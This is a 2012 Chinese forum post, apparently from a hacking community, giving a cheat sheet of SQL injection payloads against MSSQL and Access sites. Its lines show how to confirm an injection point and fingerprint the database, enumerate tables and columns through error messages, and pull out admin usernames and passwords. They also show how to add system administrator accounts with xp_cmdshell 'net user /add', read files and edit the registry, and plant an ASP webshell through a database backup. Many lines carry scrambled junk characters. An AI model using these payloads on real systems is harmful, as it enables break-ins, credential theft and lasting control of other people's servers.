找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1919|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ( Z% |, i3 P$ {& Y. t! T5 o
;and 1=1
0 ?& ?3 R3 R, d8 n- f;and 1=2
+ ^' f9 m, I* t/ f( O9 Y) R
+ b0 i( C/ V) z/ O% W2.初步判断是否是mssql
4 L8 a, ~- S6 X7 j4 j. I' u: q;and user>0
5 _- C( C, a3 n& ~8 n8 v5 z1 D
, w4 S  T) {" W# g$ `: H3.判断数据库系统 4 @. t6 }- K5 }8 S0 ~8 R8 n8 @
;and (select count(*) from sysobjects)>0 mssql
, ~; D, L6 m* O% g, ]+ T  {& L;and (select count(*) from msysobjects)>0 access
2 g& N  l, p7 |: p# r9 j) s
, d/ ]/ h/ ]8 d9 @/ u' a4.注入参数是字符 # O7 r! x. w. ~! D* H4 h
'and [查询条件] and ''=' 0 S" `1 @; E$ R# F

  ~* T* t/ h6 q5.搜索时没过滤参数的
2 h# F1 }; e7 W# v* {'and [查询条件] and '%25'='   h+ ^, G# G! `& F! {* I

! m8 k; h" B3 ^5 r  \) C5 E6.猜数表名
. v  O" A% g1 |& E. {% P;and (select Count(*) from [表名])>0
9 Y3 T% E* q% ^$ w4 `- h* M' P1 \4 N5 p+ G3 g2 \; k( e% g- \
7.猜字段 + z& V# T0 H- H2 Q1 {
;and (select Count(字段名) from 表名)>0 $ d0 O2 f5 Y+ V+ U

( q- H7 s+ I- [0 O* y8.猜字段中记录长度 ' ~, N! h* B" a$ r0 }6 j( b4 n
;and (select top 1 len(字段名) from 表名)>0 ' Z0 B* Y1 s8 E% w+ R
4 C: m- E/ V, _/ }2 b; b) c+ }0 b
9.(1)猜字段的ascii值(access)
* Y! \: m5 P, [) S8 J;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0   i' z0 s+ @( Y: l" ~$ s# L9 e

9 u. d; C9 h8 }' E/ [+ w! m) ^(2)猜字段的ascii值(mssql)
. V3 B  M% t& E. A6 f. ~0 V0 e;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
, E- x+ y! s0 t* |9 ^) `8 e* @2 B3 ~# f$ a* M! H& O
10.测试权限结构(mssql)
, B& g8 v4 o8 k1 F2 G;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # m( ]. V$ ?6 ~5 b4 y# [% S  i& ?
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: I( |, h% x* T;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
5 t3 D) Q7 x$ X+ D7 N;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 b8 z& O4 z1 R# T;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- @! P/ P8 K6 s0 H;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- N  E7 G  n2 A$ e9 A;and 1=(select IS_MEMBER('db_owner'));-- 9 O* y. x- N( P8 G

* F  e1 U; m, C  o11.添加mssql和系统的帐户 & F1 s1 D, _7 F+ F
;exec master.dbo.sp_addlogin username;--
3 [( z$ W- N# K3 u7 T;exec master.dbo.sp_password null,username,password;-- 2 G. w. F  C8 ]) V0 m3 r
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
/ e5 A1 c, O0 |) c' O;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- % y" O/ c; v6 w6 [$ R. @$ T
;exec master.dbo.xp_cmdshell 'net user username password /add';--
8 N; W" K3 ^6 R;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- * U7 w  p) a. Y/ R  z1 N4 V

. ^: ~+ \. b: W$ r7 p12.(1)遍历目录
) z, ~$ q, J* v;create table dirs(paths varchar(100), id int)
0 F+ Z. q. O4 p3 h6 A/ l;insert dirs exec master.dbo.xp_dirtree 'c:\' ) P4 {  g7 o: q
;and (select top 1 paths from dirs)>0 " E8 t. G( R5 P$ T# r9 r( `
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / S) D/ J9 q& [6 K  j; d
* |4 A0 k- D7 r' [8 \, r( q
(2)遍历目录
% a" s; ~( r- B( e;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
+ }7 V8 Z7 Q3 F% C; e  ?;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # C4 [1 D0 r% z7 l$ c, H+ j8 P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
: F4 l0 g; Z, b4 n4 ];insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ' H& w1 Z! S4 t3 U
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 t! _/ l/ }( R$ T. q
8 F+ G$ k8 ]" T* O, F. r1 R' c
13.mssql中的存储过程
( D: Y6 F+ u+ G) z0 oxp_regenumvalues 注册表根键, 子键
3 F' \. ?3 j+ S- z7 z* A! F+ @;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
9 _& R5 u$ B$ G7 g+ ~& X0 Vxp_regread 根键,子键,键值名 % n: ?- ~! v5 z$ _
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
* d; s! v- C% y* mxp_regwrite 根键,子键, 值名, 值类型, 值
7 d  ], M. q2 }0 x9 W值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 G, f6 M2 V3 u# J% l" b
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 Q, `3 {% K4 Y6 S' a4 V" h# l
xp_regdeletevalue 根键,子键,值名
/ x/ H1 X" m- Z* J" j8 ]# |2 Uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 % {0 `) K) t7 l9 M0 E. I$ p
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
9 e: l" w8 r. X0 m- f; @$ t& K( j- w4 T+ w8 o# E
14.mssql的backup创建webshell
- G. S- H8 V1 i4 `use model ! E* M* }1 u  s- D! E- p
create table cmd(str image); , l. s, X+ \" T* f7 _: q
insert into cmd(str) values ('<% Dim oScript %>');
$ `' K1 X# O9 w& v7 a* {- abackup database model to disk='c:\l.asp';
% F* i) w1 v0 ]4 l; [% o$ T; r5 \2 i& s( U+ B  S
15.mssql内置函数
. K! `1 M7 |" [0 y. S;and (select @@version)>0 获得Windows的版本号
, ^. o$ M) u  ~, [;and user_name()='dbo' 判断当前系统的连接用户是不是sa ) r6 m9 x% B; C' D
;and (select user_name())>0 爆当前系统的连接用户
4 O5 Z% E- L; w0 L$ b;and (select db_name())>0 得到当前连接的数据库
1 L% x, n1 U& R/ Y0 b3 ~6 D0 d: Z  h$ B* o
6 n, r" \: R8 B$ [7 r6 u

( D% |" ~! r( aMSSQL手注暴库5 \( f" m% R* Z( Q, E8 D
' `, V  d- B/ V) B/ `
1.暴出当前表名和列名+ H( _# e! O. X& R6 |# Z
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 S7 o" {6 Q) l' {

) F$ ^2 \% s3 ]: n0 M* S0 \第一.爆出所有数据库名$ \! I* P, o& Q  s: L. E3 n% a5 I3 \
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。5 u6 T3 \2 K7 Y: Q
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。: L" u% ~0 u! Y) g3 @8 ~
, l) c. ~* E2 a/ A5 k
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名8 A& X) A5 x, `( D% Y" b7 R  x
! U/ t" t+ f  W1 \3 M, r$ _

, R; N' }6 @+ ?9 R: g4 _第二.爆出指定库中的所有表名
" O$ c# j/ L% y7 J7 ~8 `6 @得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。) ~7 o1 |- [  R! O  [' v
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。* R/ G, W& `& O5 @( w
0 ^5 F# w* z4 p& H4 v
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--  U) F5 @7 M/ q) `5 ?& q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--6 y' |3 }1 [! C1 @; j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
( A7 U: t  i0 f
% G0 y& ]% d" Z4.爆出指定表中的所有列名' [" [* N4 s1 f, m& C
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
4 B8 G  y5 y( \  r//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
0 x# p- ~# p; N. D+ `& i- n7 w( M8 ?; Q% [- A. ~) B
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
2 W# |  i5 ]  ?' d
9 T4 c; _2 p5 k再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 9 \& R2 a$ H5 j$ I0 G; s9 b/ G) V
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。, n, `$ n. f9 u5 w0 z

6 D4 k! h& o& F2 w
7 m% l3 ?6 N! P" G7 ?# {and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
& k' I4 ?( V/ c7 F, l) ]
# w1 Z! ~7 P" _and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- @  \! Q: r% X7 Z

3 B+ B% [' j) r; {# v" ?5 O' }and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
& ^) J' o/ p: i& w3 L' u; _1 Z! P" P1 y6 A9 `; i3 B1 {8 e
( |4 Y: O% [0 w! ?
# R  v4 s; p# h: t- M% ^
5.读取指定表中的数据( J; Q) ^& g- L! Z5 S
8 v* R) ?5 v+ t( T9 E, e: J& E
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
  p- H5 s: H2 P, \  r9 r4 W+ d5 u5 U% D' t/ }
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
+ y+ ~/ Y9 g$ \( N
1 n9 @% o- F; S: O$ D% cand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
1 U+ Q$ @! [7 Q2 F2 r, d0 H' \6 Q0 U. T+ x* v1 M  j
  z+ V2 j2 v! l# f& J1 M3 h
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)0 h$ P  D2 C; \
2 d0 D# n5 W* N. H& a0 V
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)! O$ c5 q0 s$ S9 U5 H

* ?- S' Y$ k9 g1 o6 l* sand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
5 L- Z/ [$ W5 O& q% I; S+ O* b* j+ a- m4 u1 H9 n1 T7 G
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。/ p5 b0 C/ S* \$ z; y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表